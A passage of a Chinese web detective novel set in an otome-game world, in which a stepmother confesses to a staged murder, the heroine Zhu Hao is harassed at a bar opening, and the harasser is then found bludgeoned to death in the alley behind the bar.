“在警局里,方诗言提出想见你,你却拒绝了她,只向她转达了会照顾好她妈妈。她很快就明白了你的意思,为了母亲,她选择一个人承担罪责。”
“而你也还算守信用,变卖了吕宏远的古玩字画,给她妈妈打去一笔钱,顺便借她的口告诉方诗言你没有食言。我说得对吗?叶怡然。”
“只是方诗言可能直到那一刻也想不明白,为什么她愿意为了保护吕可而冒险杀人,你却从始至终把她当作一颗棋子。”
叶怡然紧闭双眼,一言不发,眼泪顺着苍白的脸颊滚滚而落。
过了许久,她才喃喃道:“有一天,我陪可可看电视。电视里说到泰国的驯象师只用一根细绳绑住大象的腿,大象就会乖乖呆在原地。因为从它们很小的时候就一直被这么绑着,所以就算长大之后体型再庞大,也根本不会觉得自己能够逃脱。那个故事让我震撼了很久很久,我觉得自己就是那只大象,明明只要轻轻一拽就能逃离,却因为长期的驯化,而选择向命运低头。”
秦聿风向前倾身,静静地看着她:“叶怡然,你本可以报警,用法律手段保护自己,同时也保护方诗言和吕可,可你却选择了最极端的方式。”
她的嘴角勾起一抹淡淡的笑:“警察同志,你之所以能轻飘飘说出这些话,是因为你没有经历过我们的痛苦。报警真的能解决问题吗?就算吕宏远被判刑,顶多就是坐十几年牢,等他出来后我们还是逃不出他的手掌心。只有他死了,我们才能获得真正的自由,当然了,还有他所有的财产。”
“我承认我自私,我从一开始就计划好了让诗言顶罪。她没有成年,而且遭受过吕宏远的凌辱,法院一定会从轻处罚,而我也会尽我所能补偿她。当然我早就留了后路,吕宏远的遗产中会有一部分作为可可的教育基金,我早就替她联系好了国外的学校,也会有专人照顾她的生活起居。”
她长长吁了一口气,干涸的眼角又重新湿润了:“我的这辈子或许就只能这样了,可是我不想……不,我不能让可可过上跟我一样的生活。我唯一对不起的就
是诗言,我利用了她的善良和单纯,如果还有机会,请替我向她表达歉意。”
秦聿风沉默地凝视着她,喉结轻轻滚动,似乎想说些什么,最后还是把话咽了回去。
*
离开警局时,已经是凌晨时分。车辆行驶在万籁俱寂的深夜里,车轮碾碎了路灯撒落在地上的昏黄色暖光。
系统终于响起了“恭喜完成本阶段剧情任务”的提示音,还附赠了150积分作为奖励。
祝好很想吐槽它没用且小气,但实在没什么心情,怏怏地关掉了眼前的控制面板。
原以为找出真相后会像撂下重担那般轻松,可是心情反而更沉重了,因为她没想到真相的背后竟隐藏着那么多人性的黑暗面。
回到家里,程述大剌剌往沙发上一躺,对着祝好打了个响指:“小助手,我饿了,去给我煮碗面吧。”
祝好身心俱疲,想也不想就拒绝:“不要,我说了只包三餐。”
他抬头看了下墙上的钟,死皮赖脸道:“都三点了,再过几个小时天也该亮了,你就当做了顿早餐吧。”
祝好回答得很果决:“不,想吃就自己做去。”
本以为程述多少还要跟她争几句,没想到他真的默默起身走进厨房,起锅烧水,打开泡面的包装袋把面饼扔进锅里。
香味瞬间从厨房里飘散出来,他掐着腰用筷子搅拌着锅里的面条,漫不经心地问了句:“你吃吗?”
祝好刚想拒绝,肚子却不争气地抗议起来。在警局折腾了大半宿,确实也有些饿了。
她厚着脸皮,理直气壮地回道:“吃!”
程述轻笑一声,打开橱柜又拿了包泡面。没一会儿,两碗面条就端上了餐桌。
祝好尝了一口,虽然只是普通的泡面,但吸饱了汤汁,还加了个煎蛋,味道还挺不错。
随着空虚的胃被填满,飘忽的思绪也逐渐沉淀下来。她夹起一筷子面条,眉头轻轻皱了起来,没头没脑地问了一句:“老大,你说查出真相真的那么重要吗?”
就比如在这起案子里,吕宏远就是个人渣,死不足惜。可方诗言和叶怡然同样受到不可磨灭的伤害,却要为此付出代价。
程述专心吃面:“大半夜把我薅起来分析案情的也是你,破案之后为了这种没有意义的问题纠结的也是你,我真搞不懂你脑子里都在想什么。”
这个回答十分程述。
祝好不服气,却又无言以对,总觉得自己跟他思考问题的方式根本就是两条平行线。
程述继续开口,语气毫无波澜:“不论是之前作为警察,还是现在只是个挂名的顾问,我的任务就是找出真相,剩下的是非对错,都不是你我有资格去评判的。再说了,不论方诗言和叶怡然杀人是出于何种目的,她们都已经触犯了法律红线,理应为自己的选择负责。”
祝好低头扒拉着碗里的面条:“你当警察的时候每天都要面对那么多苦难和罪恶,难道不会觉得承受不住吗?”
程述沉默了片刻,答非所问:“我听老秦说你想搬出去?”
这个话题的转弯来得又快又急,祝好一时反应不及,愣了一下:“啊?”
他吸溜了一口面条,对她凝固在脸上的惊异视而不见:“如果想要搬出去,就得先把住的地方解决了,但是现在不论是住酒店还是租房都需要身份证,我听说你连身份证都没有,那你打算怎么办?”
“我——”祝好噎住了,怔怔地看着他,不知他葫芦里卖的什么药。
“看到了吧?你自己还有那么多问题没解决,怎么还有时间去替别人操心呢?同理,我也一样。分内的事情我已经做完了,剩下的自然有其他人去操心。”
说了那么一长串,居然只是为了打个比方?
道理是这么个道理,但是这人未免也太理智了些,仿佛一块没有感情的石头。
祝好愈发觉得眼前这个人的皮囊外面像是罩了层铁布衫,让人无法看透。除了之前提到程霜的事时他曾经把自己打开了一道细微的缝隙,其余时候对任何人、任何事都是一副高高挂起的态度。
她将心头翻涌的的情绪压了压,最终还是问出了那个困扰了自己一整天的问题。
“程述,你对我就那么信任吗?”
程述似乎没听明白:“什么?”
“我的意思是——”祝好抬眼看着他,一字一顿道:“你就没有对我产生过什么怀疑?”
他没有马上回答,而是不紧不慢地喝了两口面汤,把筷子搁在碗边,又抽了张纸巾慢条斯理地擦嘴。
祝好紧张得嗓子发干,视线一刻也没有从他脸上挪开。
这个问题实在太冒险了,但她还抱着一丝侥幸心理:万一他真的没有呢?
更何况,不停的猜忌只能让自己更内耗,还不如把话摊开说清楚了更让人踏实。
程述双手搭在桌上,似笑非笑地对上她的目光:“你是在问我,有没有怀疑过一个凭空出现,查不到身份信息,记不住自己家住哪儿,不知出于什么原因对破案异常执着的人吗?”
即使早已做好了心理准备,祝好的心跳还是不为人知地漏跳了一拍,随即心虚地垂下眼帘——
人果然还是不能对自己太过自信,自以为隐藏得很好的那点小心思在他面前根本无所遁形。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
40-50
第41章
屋里登时变得极度安静,连白眼狼都感受到气氛不太不对劲,一头钻进了沙发底下。
祝好感觉自己仿佛身处逼仄的审讯室,心虚和不安如同乌云般笼罩在心头。
程述既然怀疑她,为什么还要让她住下来?
是可怜她无家可归么?
——不对,这个人性子冷淡得很,在他的字典里根本就没有“怜悯”两个字。
还是说,他是想利用她引出指甲油杀手?
也不太对,毕竟事情真相大白,那天晚上袭击她只是模仿作案的许安宁,真正的指甲油杀手到现在还没个影儿。
那还能是什么?
难道说,他喜欢……呸,绝对不可能。
十万八千个念头在祝好的脑海里搅成一团浆糊,让她如芒刺在背,坐立不安。
程述仿佛看穿了她的心思,平静的声线把她的焦躁压了下来:“我之所以让你留下来,是因为许安宁的案子你帮了不少忙,我不喜欢欠人情,你缺个地方住,而我家又刚好有个空余的阁楼,仅此而已。”
祝好不着痕迹地瞥了他一眼:“所以让我当你的助手只是个借口?”
他摇头:“也不算是,你观察和推理的能力确实比普通人强一些,有你当助手,不亏。”
虽然理由给得很充分,但祝好还是觉得不踏实:“你就不担心我是什么坏人,半夜提着菜刀去你房间砍你吗?”
程述无奈地轻笑一声:“如果你真的有什么坏心思,比起提着菜刀到我房间砍我,还不如在饭菜里下毒简单些。”
话都说到这份上了,她思忖片刻,决定说些什么来打消他的疑虑:“其实,你对我的那些怀疑我都可以解释。”
——他对自己的怀疑,无非出于两个原因,一是系统里查询不到她的身份,二是时有时无的记忆,这也是目前出现在她身上两个最大的bug。
关于记忆——全都怪到许安宁那一板砖就行,反正人的脑子本来就是个神奇的东西,莫名其妙被敲了一下,谁也说不准什么记得住,什么记不住。
关于身份——那更好解释了,只要一口咬死自己什么也不记得就好了,系统查不出来是系统的锅,跟她半毛钱关系都没有。
正打着腹稿,就听到程述扬起音调“哦”了一声:“那你解释一下,既然你说你身无分文,那你在超市买的那些东西和你身上的衣服是怎么来的?”
祝好愣住了,本以为一个钢铁直**本不会关心她每天穿了什么衣服这种小事,没想到他居然会问起这个。
幸亏她的cpu配置不错,心念电转间,就酝酿出一套听起来滴水不漏的说辞:“还记得你在楼下宠物店办的会员卡吗?”
程述眯了眯眼,没说话。
“我想着反正白眼狼也没有生病,钱放在那儿也不知道何年何月才用得上,所以就让他们把钱退回来了,有好几百呢。”
她佯装不好意思地摸了摸后脑勺:“抱歉啊,老大,不过爱美之心人皆
有之,我总不能真的穿着你买的那套妈妈装出门吧?大不了……这钱你从我工资里扣就行。”
说话的时候,她刻意没有直视程述的眼睛,而是垂下眼帘,把目光转向地板——她知道说谎时如果直视对方眼睛,是急于想知道对方能否戳破自己的谎言;而目光向下,则是羞愧的表现。
这个举动就是为了证明给他看:她没有在撒谎,并且还为自己私吞了几百块钱而感到惭愧。
或许是被她精湛的演技折服了,程述沉默片刻,轻轻叹了口气,起身收拾好碗筷扔进水槽里:“算了,以后我给你留点现金,起码足够你日常开销。早点休息吧,明天起来别忘了把碗洗了。”
看起来是糊弄过去了,祝好暗暗松了口气,心里那块悬着的石头终于落了地。
程述转身往房间里走,突然又顿住脚步:“对了,我的人生信条是‘关我屁事’,其实我对你的秘密一点儿兴趣都没有,你如果不想说,我也不会过问。所以你不用有什么心理负担,安心住着就是了。”
*
接下来的几天风平浪静,程述果然没再提起那天的事,祝好也渐渐放下防备。
虽然同住一个屋檐下,但两个人默契地互不干扰。
祝好除了每天象征性做些家务、整理书桌上那些乱七八糟的客户资料之外,就是随便做点吃的糊弄过去。程述一般没什么意见,有什么吃什么,实在不爱吃就索性自己动手做,日子倒也过得相安无事。
时间一长,祝好又开始有些不安:上一回的两个剧情几乎是无缝衔接,这回那么多天过去了,为什么一点提示都没有?
她唤出那个毫无存在感的系统,问道:“不是已经进入下一阶段的剧情了吗?为什么还没有新的案件出现?”
系统回她:“宿主,案件的触发是随机的,请耐心等待。”
耐心等待?等多久?有什么触发条件?
最重要的是,没有案子的时候她要干些什么?
面对祝好一连串的疑问,系统尴尬地干咳一声:“咳,宿主,这是个乙女游戏,别忘了您的任务不止是过剧情。”
祝好一拍脑袋:对啊,差点儿忘了这茬。也就是说,每段剧情之间多出来的时间就是让她用来攻略NPC的。
她打开控制面板,逐一点开可攻略对象的资料。
两个剧情点结束了,目前与秦聿风和温珣的好感度都是15点,而刚出场的李砚川只有5点,距离满级还有很长一段路要走。
究竟怎么样才能快速地提升好感度呢?
遇事不决问某度,她打开手机,在浏览器的搜索栏里输入一行字:“如何谈恋爱?”
想了想,又觉得不太对:现在还没到恋爱阶段呢。
于是把字删掉,换成“如何追求男生”,然后点进了其中一个标题为“吐血整理五招女追男的不败攻略”的页面。
这五招不败攻略如下:1.与心仪的男生建立友谊,保持联系;2.找他帮一些无关紧要的小忙;3.对他喜欢的事情感兴趣;4.不经意的身体接触;5.适当展示自己的魅力。
这几条理论看着简单,但对于实操经验为0的祝好来说简直是地狱级的难度。
虽然目前与几个可攻略对象相处得都不错,但都是纯得不能再纯的朋友关系。
秦聿风和温珣一天天的忙得要死,除了有案子时会碰面,其他时间祝好根本不好意思打扰他们。
只见过一面的李砚川除了给祝好留下一个天然呆的印象之外,其他一概不了解,更别说进一步发展了。
以前玩推理游戏碰到过不去的关卡时,查一查攻略就能通关了,可这个乙游自由度高到离谱就算了,连个提示都不给,这真的不是为难她吗?
祝好倒在床上深深叹了口气,刚要放下手机,就看到屏幕上弹出一条信息,发件人是李砚川。
她点开信息,发现是一张邀请函,上面写着:“尊敬的祝好小姐,诚挚邀请您参加Inkstone酒吧的开业庆典,欢迎到场。”
时间是今晚的8点钟。
噢,想起来了,之前他说过开业了会邀请她去玩儿,本来只当是句客套话,没想到他真的发来了邀请函。
她心念一动,这不就是“不败攻略”的第一条——与心仪的男生建立友谊,保持联系的好机会吗!
虽然她不喜欢喝酒,但这一趟没准能提升跟李砚川的好感度,甚至是触发新的案件剧情,总之再怎么也比憋在家里跟程述大眼瞪小眼要强得多。
于是她回道:“OK,一定准时到。”
李砚川很快又回复了一条信息:“别忘了带上福尔摩斯先生。”
祝好皱了皱眉:福尔摩斯?说的是程述吗?
说起来,没有工作的时候,她几乎没怎么看到程述出门。
除了每天早上雷打不动出去运动两个小时之外,他几乎和白眼狼一起长在了沙发里,不是看无聊的警匪电影打发时间,就是研读那些乏味的专业书籍。
虽然知道他大概率不愿意去,祝好还是从床上起来,撩开帘子对着楼下问了一句:“老大,今晚我朋友的酒吧开业,你要一起去吗?”
“不去。”不出所料,程述想也没想就果断地拒绝了。
行吧,不去就不去,祝好刚要退回阁楼,突然又想到什么,眼珠子转了转,问他:“你就不问问我是什么朋友?”
程述的声音里不带一丝情绪:“我说了我对别人的事不感兴趣。”
这个回答让祝好很满意,但又忍不住嘀咕:“一天天闷在家里多难受,去交点新朋友不好吗?”
他扬了扬手里那本《尸体变化图鉴》,面露不耐:“有什么好的,人际关系比尸体还要难处理。”
祝好:……
行吧,福尔摩斯不愿出门,她也不好勉强,撂下一句“晚饭你自己解决”后就回到阁楼里。
既然是出去玩,肯定要好好打扮一番。
祝好从床底翻出在系统商城里兑换的衣服,从里面挑了一件之前一直没敢穿的背心连衣裙换上,算了算目前的积分还算充裕,于是又在商城里换了一些化妆品,给自己画了个淡妆。
一切准备妥当后,她在楼下花店包了一束向日葵,拦了辆的士,报上了酒吧地址。
酒吧门前人头攒动,热闹非凡。
李砚川站在门口,脸上挂着笑,不断和前来庆贺的人握手致谢。
他身穿一件宽松的白色衬衫,下摆扎进黑色西裤里,搭配一双巴洛克风格皮鞋,一副矜贵清隽的贵公子形象。
“祝小姐,你来了。”将一位客人送进酒吧里后,他转头看见站在路边发愣的祝好,笑盈盈地看着她手里的花:“送给我的吗?”
庆祝开业的花篮摆满酒吧门口,一个比一个华丽,衬得怀里那束向日葵有些磕碜,祝好不好意思地点点头,把花举到他面前。
李砚川接过花道了声谢,往她身后看了一眼,问道:“侦探先生没来吗?”
祝好耸了耸肩:“侦探先生觉得处理尸体太麻烦,所以决定不杀人。”
李砚川神色茫然 ,但还是礼貌地报以一笑,对她做了个“请”的手势:“你先到里面找个位置坐坐,东西随便点,所有的消费都算我的。”
酒吧内场光线明暗不定,衣着光鲜亮丽的年轻男女三三两两聚在一起跟着音乐摇头晃脑,喝酒聊天,好不热闹。
祝好有些后悔,她其实不太适应这种寻欢作乐,醉生梦死的场合,难怪程述不愿意来,闹腾的地方对于他这样的人来说跟渡劫没什么区别。
不过来都来了,她也不好马上离开,只好在酒吧中央的吧台旁边找了个靠角落的高脚椅坐下来,点了杯不含酒精的气泡饮,看着吧台里调酒师眼花缭乱的调酒动作打发时间。
“美女。”肩膀突然被人拍了一下,她循声扭头,看到身后站着一个胸口印着驴牌logo,头发梳得油光锃亮的男人,脸上挂着油腻腻的笑。
祝好感觉来者不善,转过头没搭理他。
男人也不气恼,兀自在她旁边的空位坐下,拨弄着额前的碎发:“美女别那么冷漠嘛,你是一个人来的吗?”
第42章
祝好瞅了他一眼,敷衍地应付道:“我男朋友去洗手间了,马上就回来。”
男人半笑不笑,脸上带着戏谑:“可我观察了你半个小时了,你一直都是一个人坐在这儿呢,你男朋友在洗手间里那么久,估计是肾不太好吧,要不要考虑换个肾好一点儿的人?”
祝好有些烦躁,将脸扭过一旁,把拒绝表现得很明显,希望男人能识趣地离开。可他却没有要走的意思,自顾自对调酒师打了个响指:“给这位小姐来一杯莫吉托,算在我账上。”
这人是脸皮太厚还是不会看人脸色?
祝好直截了当地抬手拒绝:“谢谢啊,不用破费了,我不喝酒,我只是来给朋友捧场的。”
男人不依不饶:“哟,李老板的朋友不就是我的朋友吗?那你更得喝一杯了,来酒吧不喝酒,还叫什么捧场。”
祝好不想再跟他纠缠,只想尽快脱身,冷冰冰地回应:“抱歉,我还有事,要先走了。”说完就要从椅子上下来。
没想到男人一把攥住了她的手腕,唇角勾着不怀好意的笑:“别走啊,酒还没调好呢,你这样就是不给我面子了。”
救命,这游戏的策划是怎么想到那么老套的情节的。
再就是,这种时候应该有个人出来英雄救美才对吧?
然而左看右看,祝好却发现周围似乎没人注意到这边的动静,只好硬着头皮,扬起声调对男人说了句:“先生,我要走了,请你放手。”
“可以啊,你陪我喝完这杯酒我就让你走。”男人丝毫没有松手的意思,另一只手拍了拍高脚椅示意祝好坐下。
祝好僵在原地,正思考着要不要从系统兑换个100体力值给男人甩一耳光,就听到身后传来一个熟悉的声音:“陈少今晚怎么有时间大驾光临?”
她回过头,看到李砚川端着酒杯,笑眯眯地朝这边走来。
被称为陈少的男人这才不情愿地松开了祝好的手,勉强对李砚川笑了一下:“李老板新店开业,我当然要来给你庆祝啦。怎么,不欢迎?”
李砚川把酒杯搁在吧台上,十分自然地挡在祝好身前:“当然欢迎,不过这里是公共场合,还请陈少注意一下自己的言行。”
陈少冷冷笑了一下:“言行?我言行怎么了?我只是想请这位姑娘尝一杯李老板店里的酒,不过分吧?”
李砚川也笑:“请喝酒不过分,但也要看姑娘意愿呢。姑娘不愿意喝,我们还是不要勉强的好,陈少是个君子,这个道理您应该明白。”
那位陈少比李砚川矮了一个头,抬起脸狠狠地盯着他:“李砚川,我劝你别多管闲事,你新店开业,我来喝酒是给你面子,信不信只要我一开口,淮江市所有的酒水供应商都不敢给你供货?”
李砚川任他咋呼,好脾气地点点头:“当然信,我从来没有质疑过陈少的实力。”
他的语气不卑不亢,还带着些客气,很明显是在陈少台阶下了。
然而这话在陈少听来却有些刺耳,他眼睛在周围转了一圈,发现刚才还在喝酒聊天的人正纷纷往这边看,面子上更是有些挂不住,脸色顿时阴沉下来,嘴上叫嚣道:“那你特么的还多管闲事?”
李砚川闻言敛起了笑容:“抱歉,这位小姐是我朋友,我不能让你在我店里乱来。”
陈少怒极反笑:“乱来?我就请她喝杯酒,你说我是乱来?”
李砚川不置可否:“陈少,搭讪也要注意分寸。”
陡然之间气氛变得剑拔弩张,眼看人群逐渐往这边聚拢,祝好头都大了,这开业活动搞得好好的,怎么还吵起来了呢。
她刚想说些什么来缓和气氛,就看到陈少神色一凛,恶狠狠说了句“用不着你教我做事”,而后突然抬手扬拳挥向李砚川。
事情发生得太快,李砚川大概没料到他会动手,一时躲闪不及,被他一拳砸到左脸,踉跄着退了几步,后背撞到了酒吧的装饰柱上。
围观的人群中爆发出一阵尖叫,忙着看热闹的人这才堪堪反应过来,迅速分成了两拨人,一拨人七手八脚扶住李砚川,另一拨人则象征性地拦住陈少。
一时间,酒吧里乱作一团,直到保安赶来,骚动的人群才安静下来。
保安看到李砚川被打,拿起手机就要报警,却被他拦住了。
他一手捂着左脸,一手朝着人群挥了挥:“没事,小误会而已,大家散了吧。”
等人群渐渐散去,他走到陈少面前,陪着笑捏了捏他的肩膀:“陈少,今天我开业,应该是个高兴的日子。您打了我一拳,气也应该消了,今晚您所有的消费都包在我身上,玩得尽兴点儿。”
力的作用是相互的,这一拳虽然打在李砚川脸上,陈少的手也疼得不行,他揉了揉手指关节,从鼻腔里哼了一声:“这还差不多。”
李砚川招呼酒保给陈少拿了瓶看起来挺贵的洋酒,赔了句不是,才向着站在一旁不知所措的祝好轻轻勾了勾手:“祝小姐,我带你到处去转转。”
“等等。”陈少叫住他们,从兜里掏出手机递给祝好:“不喝酒也行,留个联系方式总可以吧?”
那副咄咄逼人的嘴脸让李砚川刚稍微缓和的神情又冷冽下来,祝好生怕他们又打起来,赶紧接过陈少的手机快速输下了一串号码后还到他手里,拉起李砚川挤进人群里。
走到灯光亮起的地方,祝好才发现他脸颊肿起了一片淤青,嘴角还被陈少手上的戒指划出一道血痕。
她心里愧疚极了,皱着眉头问:“你这儿有药箱吗?”
李砚川笑了笑:“没事,小伤而已。”
祝好严肃地摇摇头:“不行,小伤也要及时处理。”说完便拉起他往酒吧门外走。
这么赏心悦目的一张脸,可不能毁了。
这一闹就闹到了大半夜,路上的药店都关门了,只有马路对面还有家24小时营业便利店亮着灯。
便利店里没什么客人,一个年轻的男性员工正坐在收银台后面对着手机发呆,看到有人推门进来,他从收银台后站起身,说了句欢迎光临。
幸亏便利店里还能买到些应急的药物,祝好手忙脚乱从货架上挑了碘伏、棉签和一包创可贴,付钱的时候,收银员抬眼看了看李砚川脸上的淤肿,从身后的冰柜里拿了一个冰袋递给他。
李砚川笑着跟他说了声谢谢,他轻轻点了点头,没说话。
便利店里有供客人休息的桌椅,祝好拧开瓶盖,用棉签沾了些碘伏给李砚川嘴角的伤口消毒。
她的动作已经尽量轻柔,但碰到伤口时,李砚川还是忍不住“嘶”地吸了口凉气。
祝好咬了咬嘴唇,面露愧色:“真是抱歉啊,害你受伤了。”
李砚川把冰袋捂在脸上,摆了摆手:“不用道歉,又不是你的错。”
话虽如此,但事情毕竟是因她而起,李砚川如果不上前阻拦,也不会因此受伤。
祝好撕下创可贴背面的塑料膜,小心翼翼贴在他脸上,又问:“那个陈少,你跟他认识吗?”
李砚川顿了一下,轻轻点头:“算不上认识吧,他是个有名的花花公子,总之你下回再见到他,记得尽量远离就好,他的电话你也别接。”
祝好得意地笑:“放心吧,我给他的不是我的号码。”
反正这辈子估计跟陈少也见不上第二面了,因为她刚
才在他手机里输入的是程述的手机号,如果他真的打过去,绝对会被程述骂到狗血淋头。
李砚川跟她对视一眼,眼神里带着一丝讶异,随即忍不住笑出声来:“听你这么一说,我对那位侦探先生更好奇了。”
“我知道你很好奇,但还是别好奇了,等你真的见到他一定会很失望的。”祝好把创可贴的包装揉成一团,突然想起了什么:“对了,那个陈少那么过分,你怎么还给他免单?”
李砚川苦笑了一下:“不瞒你说,他爸爸是个不小的官儿,职位正好又是跟工商有关的,他平时就飞扬跋扈惯了,到处蹭吃蹭喝,这一带的很多店铺老板对他都是敢怒不敢言,我这也算大事化小小事化了吧,毕竟真的把他惹急了对我也没好处。”
祝好皱了皱眉:“你们就没想过报警什么的?”
李砚川稍稍压低声音:“没用的,陈家的势力庞大,这里的片警根本奈何不了他们,报警说不定还会遭到报复。”
没想到在游戏里的社会也有这么阴暗的一面,祝好胸口像是塞了把冰碴儿,沉甸甸冷冰冰。
有的没的聊了一会儿,李砚川看了下手上的表,发现时间已经不早了,抬头对祝好道:“陈少估计还没走,你还是别回酒吧了,我送你回去吧。”
祝好摇头婉拒:“不用不用,今天给你添了那么多麻烦,我自己打车回去就行。”
李砚川没理会她的拒绝,起身对她笑了笑:“那不行,送女士回家是义务,就当你是感谢你今天带来的向日葵了。”
*
回到家时已经是凌晨了,祝好轻手轻脚打开家门,客厅里一片漆黑,而程述房间的门缝底下居然还亮着光。
都这个点了,他还醒着吗?
祝好也没多想,洗漱完毕后回到阁楼里,裹着毯子倒头就睡。
这一觉睡到了大天亮,直到被一阵“笃笃”的敲击声吵醒,她才迷迷糊糊睁眼。
发了一会儿呆后,“笃笃”声还在继续,她掀开门帘探头往楼下看了一眼,发现程述正在用扫帚的杆子捅天花板,无奈叹了口气:“你在干什么?”
程述抬眼看她,语气平静:“叫你起床。”
祝好:……
真是很特别的唤醒方式。
看到她醒了,程述把扫帚往角落一扔,拍了拍袖子:“赶紧起来,老秦刚打来电话,来活儿了。”
诶,这是触发了新剧情吗?
祝好来了精神,赶紧换好衣服,梳洗完毕后匆匆出了门。
路上,程述把着方向盘不停地打着哈欠,看起来很是疲倦。
祝好问:“你昨晚没睡好?”
他没好气地嗯了一声:“不知道哪来的傻叉大半夜给我打电话,把我吵醒了。”
祝好心虚地干咳一声,把脸转向窗外,却发现这条路有些熟悉,心里生出一丝不好的预感,转头问他:“老大,我们这是要去哪儿?”
程述漫不经心地回答:“老秦说市中心一家酒吧的后巷发生了命案。”
祝好:“……那家酒吧不会叫Inkstone吧?”
程述没说话,侧目瞥了她一眼,脸上分明写着“你怎么知道”。
她揉了揉太阳穴,长叹了一口气,突然觉得柯南这个称号应该留给自己。
第43章
Inkstone酒吧夜晚才开始营业,这时正值清晨,酒吧大门紧锁,发生命案的后巷前后两头都拉起了警戒线,勘查组正忙碌而有序地采集证据。
负责维持秩序的警员已经认得程述和祝好了,看到他们过来,主动递上了鞋套和手套。
首先发现尸体的清洁工大妈正坐在巷口接受警员的问询,她看起来被吓得不轻,脸色惨白,抱着保温杯的双手还在打颤,嘴里一直在重复“造孽啊”“我要做噩梦了”。
祝好谨慎起来,能把人吓成这样,待会儿一定会有什么血次呼啦的场景突然冲撞视线。
她站在巷子口定了定神,做了好一会儿心理建设才掀起警戒线,跟在程述身后走上前。
发生凶案的现场离酒吧后门不远,一个男人直挺挺倒在地上,呈俯卧姿势,头冲着墙倒方向,身下有一大片血泊。还没怎么靠近,一股浓略的酒精味和血腥味就扑面而来。
祝好抻长脖子看了一眼,才发现死者后脑勺不知被什么砸得血肉模糊,像一个四分五裂的西瓜。
她一下子没忍住,后退几步离远了些,扶着墙干呕起来。
这么刺激的的画面,果然无论看多少次都无法习惯。
温珣蹲在地上,轻轻掰动死者的四肢:“尸僵已经扩展到全身了,可以推断死亡时间是4到6小时之前。”
秦聿风低头看了下手腕上的表:“也就是凌晨两点到四点,死因能确定吗?”
温珣小心翼翼地拨开伤口上的头发,低头仔细观察:“后脑部分遭到反复打击后严重崩裂,导致颅骨粉碎性骨折,脑组织外溢,死因应该是急性颅脑损伤。从伤口形态上看,凶器应该是某种钝器,比如锤子一类。”
秦聿风点点头,转头看到程述正蹲在墙边,便问:“老程,你有什么发现?”
程述扯下口罩凑近砖墙嗅了嗅,又皱着眉头把口罩拉了起来:“骚味很重,这位兄弟最近估计是有点儿上火。”
秦聿风捏紧口罩的边缘,也在墙边蹲下:“你意思是他在这儿撒尿时,被人从身后偷袭的?”
温珣和法医助理小心翼翼地把死者翻了个面儿,他的裤链半开着,白色的裤子上果然还留着些黄色的尿渍。
他的半张脸跟后脑勺一样也被砸得稀巴烂,几乎看不出原本的面貌。
祝好的视线迅速从那张稀烂的脸上挪开,又落在死者胸前那个巨大的驴牌logo上,脸色唰一下白了,直到程述叫了她几声才堪堪回过神来,连忙从尸体身上收回目光:“什么?”
程述满脸无奈看着她:“我让你去给我找把尺子——算了,我自己去吧,你要是不舒服就到一边儿呆着去,别在这里碍事。”
换做平时,祝好一定会毫不犹豫地怼回去,然而这回她只是默默找了个不近不远、刚好能听到他们谈话内容的角落蹲了下来,双手捂住狂跳不止的心脏。
死者虽然脸部被毁,但身高、身型还有那件T恤,跟昨晚搭讪她的陈少简直一模一样。
她太阳穴直突突:不会吧,不会真的那么巧吧?
离地面不远的墙上有一些呈现飞溅状的血迹,程述找堪察组的警员要来尺子量了一下:“离地23厘米,应该是凶手挥动凶器时甩出来的血痕。”
秦聿风道:“从这个高度上看,死者是趴在地上时被袭击的吧?”
程述点头应道:“死者体型不算瘦弱,凶手一定是先用了某种方法让他失去了反抗能力,等他倒地后才攻击他的,说明这是一起有预谋的作案。”
说完朝着温珣扬了扬下巴:“温主任,正脸的伤口有什么特征?”
温珣戴着手套,用食指和中指轻轻翻动伤口上的皮肉:“正脸的伤口几乎没有生活反应,应该是死后伤。”
秦聿风皱着眉啧了一声:“可真够狠的,明明后脑勺那几下人就已经不行了,还要在他脸上补几锤子,看起来凶手要么是不想让人认出他来,要么就是跟他的恩怨不小。”
程述蹲下身,伸手从死者的口袋里摸出手机和钱包,拿在手里翻了翻:“可以排除第一种猜测了,杀了人还把这些东西留下,说明凶手根本不担心别人发现死者的身份。”
秦聿风打开钱包,从里面找到了一张身份证,念出了上面的名字:“陈志恒……”
一个负责维持秩序的小警员接过话茬:“陈志恒?不会是那个大名鼎鼎的陈少吧?”
“哪个陈少?”
小警员语气很是不屑:“他是个纨绔子弟,听说他爸是当官的,这家伙仗着他爸的关系平时就没少干坏事儿,仇家可不少,指不定就是哪个看他不顺眼的人把他杀了呢。”
果然是他!
祝好汗流浃背,默默把头埋在膝盖里,试图把存在感降到最低。
剧情的进展未免也太魔幻了吧,昨天还笃定这辈子都不会跟陈少见上第二面,这才过了几个小时就被啪啪打脸了。
程述伸了个懒腰,把陈少的手机递给秦聿风:“如果是仇杀,那他脸上的死后伤就很好解释了,先从最近与他有过争执的人开始查起就行。”
秦聿风拿过手机,点开通话记录:“最后一通电话是凌晨一点拨出去的,通话时间26秒,这号码……”
他抬头看着程述,欲言又止,最后什么也没说,只是摁下了拨通键。
下一秒,程述兜里的手机响了起来。
程述迟疑片刻,摘下手套,掏出手机看了一眼屏幕,又看了看秦聿风,一时有些茫然。
秦聿风一言不发地挂断了电话,程述的手机铃声也在同一时间停了下来。
两人相顾无言,半晌后,秦聿风率先开口:“老程,你认识他?”
程述脸上出现了少见的疑惑,一手撑着膝盖,一手拿着那张身份证,认真地跟那张稀烂的脸对比了一下,摇头道:“不认识。”
秦聿风神情严肃:“既然不认识,他最后一通电话怎么是打给你的?”
程述耸了耸肩,一副事不关己的模样:“你问我,我问谁?”
此时蹲在角落里的祝好恨不得立刻消失,内心呐喊:别问我就行,我什么都不知道。
秦聿风盯着程述看了好一会儿,才问:“那你昨晚一点左右接到过什么电话吗?”
程述拿出手机划拉了一下,恍然道:“靠,原来吵醒我的是这孙子。”
秦聿风问:“他说了什么?”
程述回忆了一下:“说我长得很漂亮,他对我一见钟情,让我去跟他喝一杯。”
祝好往角落里靠了靠:救命啊,为什么地上没有缝可以钻进去?
身为程述多年的好友,秦聿风对他的性子了如指掌,眼里满是无奈:“然后呢,你不会让他去死吧?”
程述不置可否:“大半夜吵醒我,不让他去死,难道还要给他送上三百六十五个祝福?”
秦聿风:……
温珣:……
秦聿风把手机装进物证袋里,递给一旁的警员,转头对程述道:“老程,你知道这句话对凶杀案来说意味着什么,所以你最好能解释清楚。”
程述嘴角勾起笑:“解释清楚?我解释得还不够清楚吗?还是说他给我打错一个电话,秦警官就又要把我当成嫌疑人审问?”
秦聿风冷着脸:“不是审问,我只是觉得太巧了。他的电话打错到你那儿,偏偏人还死了。老程,你是不是有什么事瞒着我?”
